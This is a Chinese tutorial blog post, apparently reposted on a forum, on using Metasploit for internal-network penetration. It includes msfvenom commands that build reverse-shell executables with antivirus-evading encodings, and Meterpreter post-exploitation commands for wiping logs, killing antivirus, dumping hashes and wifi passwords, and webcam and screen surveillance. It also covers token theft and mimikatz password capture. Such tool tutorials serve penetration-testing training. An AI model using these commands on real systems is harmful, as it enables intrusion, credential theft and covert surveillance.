内网渗透 Metasploit（MSF）底子使用
内网渗透 Metasploit（MSF）使用1、熟悉 MSF
Metasploit 是一款开源的安全弊端检测工具，可以帮助安全和IT专业人士识别安全性问题，验证弊端的缓解步伐，并管理专家驱动的安全性举行评估，提供真正的安全风险情报。这些功能包罗智能开发，代码审计，Web应用步伐扫描，社会工程。团队合作，在 Metasploit 和综合陈诉提出了他们的发现，2003年为第一个版本，2007年用 ruby 举行了重新
安装自查，不必多说
1.1、MSF 目录架构
进入目录
https://img-blog.csdnimg.cn/36d6bb2fc9a04a99ac2a2861ec0b7dce.png
data目录
里面存有为msf中可以编写的一些文件，里面含有msf存储的漏洞具体数据，一般在使用exp时会编写一些重要的函数，简单来说就是存放我们可以利用的漏洞的数据的地方。
https://img-blog.csdnimg.cn/afd04a9db58d41bfbe3c7252b2ccb8db.png
documentation文档目录
存放了msf的一些相关文档，工具介绍等
https://img-blog.csdnimg.cn/7880dc108be749e3b6cb653bc445b9b8.png
lib静态链接库目录
存放了msf中的ruby代码
https://img-blog.csdnimg.cn/f10b631a1f454554b8da3f31b3cb3a03.png
modules模块目录
存放了msf的模块，msf为模块化工具，插件
https://img-blog.csdnimg.cn/f70f52f7581147bf9164203835ae0546.pnghttps://img-blog.csdnimg.cn/f18c7a14d537435aa7fc1dca735d9fd1.png
tools目录
小工具模块
https://img-blog.csdnimg.cn/b95d024acdda4b2c80e8945337205460.png
2、MSF 底子操作
2.1、msf 的底子部分
内置数据库posetsql
Linux初始化并启动msf数据库
msfdb init
https://img-blog.csdnimg.cn/945caf0cfcd84e8e926f32b5bcd8abeb.png
kali中的启动命令
msfconsole
查看数据库状态
db_status
https://img-blog.csdnimg.cn/8ee6335b8b674b63b8767726896a50d8.pnghttps://img-blog.csdnimg.cn/88e7f5fd77a2445d8b3a479a0b51ebe9.png
help #查看帮助
exit #退出
MSF 共分为3个部分：
（1）刚进入页面的操作部分
（2）msfvenom 生成攻击载荷的工具，内嵌于 msf
（3）当进入某个会话时的部分
2.2、简单操作下令
show 模块名 #查看/展示模块（exploits、payloads、enncoders等）
search 模块名 #没什么好方法，可以直接搜索漏洞编号，或者网上查询需要的模块名
use 模块名 #使用需要的模块
back #返回上一级
info #查看模块详细信息
show options #非常常用，看具体配置，通过Required下面为Yes为必填项
set Name xxxx#在options中的必填项名字后面接具体信息
run / exploit#执行模块
https://img-blog.csdnimg.cn/eb078c9a7d1c44baaa6acaa15dbb09fa.png
exploit -j #通过这条命令运行任务
jobs #查看后台正在执行的工作
kill ID值 #关闭后台正在执行的工作
https://img-blog.csdnimg.cn/12801644de2f469e861c063309bd66e8.png
2.3、常用的扫描模块
一般 msf 将扫描模块都放在auxiliary/scanner当中
2.3.1、arp 扫描
使用 ARP 请求摆列本地网络中的活动主机
在kali中如下目录为msf的模块目录
/usr/share/metasploit-framework/modules/auxiliary/
https://img-blog.csdnimg.cn/d62cd2012da444258912a1ba13c27af4.png
search arp
https://img-blog.csdnimg.cn/922b601f380a43cb95501e9409bda350.png
可以看到有scanner的很多扫描器，auxiliary/scanner/discovery/arp_sweep关于信息网络的有很多
use auxiliary/scanner/discovery/arp_sweep //选择模块
options //显示参数配置
set rhosts xxx.xxx.x.x/24 //确定主机
set threads 10 //调线程
run //运行
2.3.2、UDP 扫描
search udp
use auxiliary/scanner/discovery/udp_sweep
可以看到有很多很多模块供我们使用
https://img-blog.csdnimg.cn/610ccfa0f2d043e889257d31d0de0f4d.png
自己试试用得随手的模块
这里就不使用了
2.3.3、端口扫描
SYN、ACK、TCP、XMAS、FTP 扫描等等
search portscan
use auxiliary/scanner/portscan/tcp
https://img-blog.csdnimg.cn/90619990b75747cb96160c888a79962b.png
2.3.4、SMB 扫描
search smb
use auxiliary/scanner/smb/smb_version //可以探索版本信息
https://img-blog.csdnimg.cn/20f7390e5ce24c81a9f82cd9d1a033f8.png
2.4、EXP 模块
use exploit //输入这个然后按Tab键可进行阅览
https://img-blog.csdnimg.cn/60a77c4d69974517b51d92f99d4088a6.png
可以看到有2251个项目，这里就不一一摆列了
如果现在已知目标系统为 windows，那么直接搜索可以减少阅览量
use exploit/windows
https://img-blog.csdnimg.cn/36b3286dd84842748804164e05f5b040.png
大部分 EXP 模块都是在已经取得肯定权限后使用的，比如提权等，rce（MS17-010） 等比较少
就按 windows 来说，当我们执行成功时，不仅仅只是执行了一个下令，我们还可以为其添加一个攻击载荷，使其在执行完下令后，还能为我们反弹回来一个会话
https://img-blog.csdnimg.cn/2312f2255c5443dcac0eeb0359a1067d.png
set payload windows/x64/meterpreter/reverse_tcp
然后查看配置
options
https://img-blog.csdnimg.cn/88b77bc78fdd418f92e790fee2b151fb.png
可以发现这里多了一条 payload，有这个 payload 后，在执行完 rce 后，会返回一个 msf 的会话，支持很多系统
set payload //然后按Tab就行
3、msf 可视化远控平台 Kage
3.1、Kage 安装
当然我们也可以使用msf可视化远控平台----Kage
项目地址:https://github.com/WayzDev/Kage/
https://github.com/Zerx0r/Kage/releases
git clone https://github.com/Zerx0r/Kage.git
安装好后进入Kage
cd Kage
安装依赖项
yarn
第二个项目因为我们是Linux系统，所以我们下载
Kage.0.1.1-beta_linux.AppImage
建议使用root权限运行
接着我们使用下面这行代码来运行msf，启动msf并开启一个接口
msfconsole -q -x 'load msgrpc ServerHost=0.0.0.0 ServerPort=55562 User=msfuser Pass=msfpass'
接下来我们需要用kage连接这个接口，开启可视化msf
当然也可以直接写入下面的代码运行
msfrpcd -U msfuser -P msfpass -a 0.0.0.0
-U: 登录kage的账号
-P:登录kage的密码
-a: msf的ip地址（很重要，要是kage和msf在同一台电脑，用0.0.0.0即127.0.0.1）
赋予程序启动权限，启动程序并登陆
chmod 777 Kage.0.1.1-beta_linux.AppImage
./Kage.0.1.1-beta_linux.AppImage
https://img-blog.csdnimg.cn/07506602bf644595a5d2cf5a04088582.png
输入我们设置的账号密码，就可以进入了
https://img-blog.csdnimg.cn/24cbc4b9b738499a8f0b5f96563496f7.png
3.2、Kage 的使用
我们可以利用下令生成木马，也可以在平台上生成木马，根据自己的具体环境来看，在木马成功上线目标机时，会有各种操作可用。
Jobs是监听功能，Payload generator是木马生成程序
首先我们需要开启监听并发送木马
生成木马支持多种平台和方式，选择你所需要的方式进行木马生成。后续的监听也是需要保持同生成木马的一致性（本机IP、负载方法、监听端口）
木马生成（填写程序名、负载方法、本机ip、端口、程序类型、编码方式（一般默认））
负载方法常用的是windows/meterpreter/reverse_tcp，当然，它也支持对安卓、linux以及java、python的负载方法，根据个人的测试环境。
生成的木马程序可以在右侧Saved as中看到是在root目录下，自己去目录中把文件拖出来就可以了。后续录音、拍照、下载等功能使用时的文件在会在该目录下
3.3、Kage 可执行的操作
可以执行的操作：
（1）系统指令
（2）文件指令
（3）网络指令
（4）拍照指令
（5）录音指令
（6）文件存放（存放地址为Kage）
4、msfvenom 模块
4.1、概述
msfvenom 是 msf 生成 payload 的一个工具
这里要区分一下 EXP 与 Payload ：EXP 是利用弊端举行攻击动作，而 payload 是 EXP 执行成功后在目标内举行各种指令动作。
除了可以将 payload 插入到 exp 里面，也可以作为独立模块举行生成，须要用这个工具生成一个落地化的，类似于会话，可移植性各种操作
4.2、基本操作
msfvenom
例子
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
-l #列出所有payload，需要添加参数payloads, encoders, nops, platforms, archs, encrypt, formats, all
所支持的架构有：aarch64、armbe、armle、cbea、cbea64、cmd、dalvik、firefox、java、mips、mips64、mips64le、mipsbe、mipsle、nodejs、php、ppc、ppc64、ppc64le、ppce500v2、python、r、ruby、sparc、sparc64、tty、x64、x86、x86_64、zarch
https://img-blog.csdnimg.cn/78c043db4f52453198e52be897ae32ec.png
-p #后面跟payload的其余参数
可以看到下面的有bind和reverse两种类型的 payload，那么有什么区别呢？
bind：正向，攻击机可以毗连目标机，而目标机不能毗连攻击机，是攻击机自动毗连目标机
reverse：反向，目标机自动毗连攻击机，一般使用反弹 TCP 协议。
https://img-blog.csdnimg.cn/f6029df3df9647baa1dab92ff625e7f0.png
-f #指定输出文件格式
所支持的格式有：asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-small、hta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;base32、base64、bash、c、csharp、dw、dword、go、golang、hex、java、js_be、js_le、nim、nimlang、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.71.138 lport=3333 -f exe > ceshi.exe
生成一个windwos的反弹shell，名字为ceshi.exe
-e #指定编码方式，绕过杀软的一种方式
https://img-blog.csdnimg.cn/28d837d06a76403cbcf9c4023afbc99c.png
-i #指定编码次数，一般配合 -e 使用,最好小于20次，否则将不会运行
举个例子，生成一个 payload
winodws:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f exe > ceshi.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f elf > ceshi.elf
5、Meterpreter 模块
当我们生成的 payload 成功在目标机器上执行时，便会返回如许一个会话，我们在此会话中执行各种后渗透操作
https://img-blog.csdnimg.cn/12c2b8d74a0b42888a185d06f4105284.png
5.1、底子操作
help #帮助
background #返回msf界面
sessions -l #返回所有会话信息
sessions -i id值 #返回指定交互会话
pwd #返回目标机中所处目录位置
lpwd #查看本地目录
cd #切换目标机指定目录
lcd #切换本机指定目录
ls #列出目标机当前目录文件
lls #列出本机目录的文件
clearev #清除痕迹，清除我们在目标机器上的一些操作痕迹！！！
download 文件名 #将目标文件下载到本地
upload 文件名 #将文件上传到目标机
shell #进入cmd命令框
exit #退出终端
ps #列出目标进程
getuid #查看当前用户的身份，可以理解为用户名
getprivs #查看当前用户的权限
getpid #查看木马进程
idletime #查看目标服务器空闲时间
sysinfo #查看目标主机信息
kill PID号 #杀死进程
shutdown #关机
reboot #重启
netstat #查看网络连接情况
ipconfig #查看目标IP信息
getsystem #尝试提权
https://img-blog.csdnimg.cn/5e4e4353cec045e1b578fe821d4dfe30.png
不过进入 windows 会有乱码出现，我们使用chcp 65001便可以办理中文乱码
https://img-blog.csdnimg.cn/a30772c78cec422faa19e8af0de1b2ed.png
execute #需要参数，在目标机执行一些命令
用法：execute -f file
在远程计算机上执行命令。
选项：
-a #传递给命令的参数。
-c #通道化I/O（交互需要）。
-d #使用-m时要启动的“虚拟”可执行文件。
-f #要运行的可执行命令。
-h #帮助菜单。
-H #创建隐藏在视图中的流程。
-i #创建流程后与流程交互。
-k #在流量计当前桌面上执行进程
-m #从内存执行。
-p #在pty中执行进程（如果在目标平台上可用）
-s #以会话用户身份在给定会话中执行进程
-t #使用当前模拟的线程标记执行进程
-z #在子shell中执行进程
execute -f ceshi.exe -H
https://img-blog.csdnimg.cn/545c5500b8e142c391a96168b9abb665.png
我们一般只用-f参数来执行一个文件进程，使用-h参数来隐藏进程
migrate PID进程码 #进程迁移命令
migrate 所要迁移的进程号也就是PID
https://img-blog.csdnimg.cn/8c17b6d2b736458589b6371dcfb84f58.png
5.2、配合 meterpreter 的信息网络模块
有很多模块，大多数都是对于主机的信息网络功能，以 POST 开头
进入meterpreter中，使用run
https://img-blog.csdnimg.cn/5e3168eb2a26414c830a2593174d07e6.png
run killav #杀死杀毒软件
run hashdump #导出目标机的哈希保存密码（需要权限）
run post/windows/wlan/wlan_profile #获取wifi密码
run vnc #实时屏幕监控
run webcam #开启一个摄像头（要求对面拥有摄像头）
run post/windows/gather/checkvm #查看当前主机是否为虚拟机
run post/windows/gather/enum_computers #探寻域内主机
run post/windows/manage/enable_rdp #开启目标3389端口
5.3、Token 窃取
https://img-blog.csdnimg.cn/078d2565aa4249ba95da1ab09bd6640d.png
load incognito #令牌窃取工具
list_tokens -u #列出可以模拟的令牌
impersonate_token 可以模拟的令牌成员名 #窃取一个指定的令牌,获取相应权限
https://img-blog.csdnimg.cn/fbfb5dba4d444ea4a046304c4cd160fc.png
一般窃取管理员大概 SYSTEM 的身份
mimikatz
load mimikatz
wdigest #抓取计算机中的明文密码
https://img-blog.csdnimg.cn/b44148b3261543f986568ff28ad49933.png
7、armitage
7.1、概述
Armitage 就是一款使用 Java 为 Metasploit 编写的有图形化操作界面的软件，通过它可以轻松的使用 Metasploit 对目标举行攻击
感觉不如用 kage。。。。。
https://img-blog.csdnimg.cn/06ffeba7e6c84b7f9b3ae8580807e8e9.png
8、MSF 更新
apt update
apt install metasploit-framework
MSF 插件更新可以从下面地址获取
插件地址：https://exploit-db.com
搜索 Metasploit 可以查询相应插件加载，里面文档有安装教程
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]